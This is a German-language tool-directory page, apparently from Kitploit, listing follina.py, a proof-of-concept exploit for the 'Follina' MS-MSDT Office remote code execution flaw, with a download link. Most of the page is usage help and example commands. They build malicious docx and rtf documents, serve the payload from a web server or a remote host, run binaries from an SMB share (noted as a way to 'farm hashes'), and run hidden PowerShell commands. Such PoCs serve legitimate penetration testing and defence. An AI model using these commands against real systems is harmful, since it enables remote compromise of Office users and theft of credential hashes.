Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
follina.py — POC zur Replikation der vollständigen 'Follina'-Office-RCE-Sicherheitslücke zu Testzwecken | Kitploit
Tools/GitHubGitHub/chvancooten/follina.py
Payload-GenerierungExploitationPenetrationstestsRed Teaming
GitHubchvancooten/follina.py

follina.py

POC zur Replikation der vollständigen 'Follina'-Office-RCE-Sicherheitslücke zu Testzwecken

Repository anzeigen
1.1k248vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

'Follina' MS-MSDT n-day Microsoft Office RCE

Schneller POC zur Reproduktion der 'Follina'-Office-RCE-Schwachstelle für lokale Testzwecke. Das Ausführen des Skripts erzeugt eine Payload-Datei clickme.docx (oder clickme.rtf) in Ihrem aktuellen Arbeitsverzeichnis und startet einen Webserver mit der Payload-Datei (www/exploit.html). Die Parameter für Payload und Webserver sind konfigurierbar (siehe Hilfe und Beispiele).

⚠ NICHT IN PRODUKTION VERWENDEN, SONST WIRST DU FÜR EINEN DUMMKOPF GEHALTEN

Verwendung:

root@kitploit:~
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]

options:
  -h, --help            show this help message and exit

Required Arguments:
  -m {command,binary}, --mode {command,binary}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY
                        The full path of the binary to run. Can be local or remote from an SMB share

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -t {rtf,docx}, --type {rtf,docx}
                        The type of payload to use, can be "docx" or "rtf"
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -P PORT, --port PORT  The port to run the HTTP server on, defaults to 80

Beispiele:

root@kitploit:~
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

Danksagungen

Dank an Kevin Beaumont für seine ursprüngliche Analyse des Problems, @KevTheHermit für das Teilen seines POC und John Hammond für seine weiterführende Arbeit zur Analyse der Payload-Anforderungen. Zusätzlicher Dank an @mkolsek für die Vorlage mit Unterstützung für Office 2019 und an @theluemmel für das Teilen seiner Version der Payload mit mir.

Tool herunterladen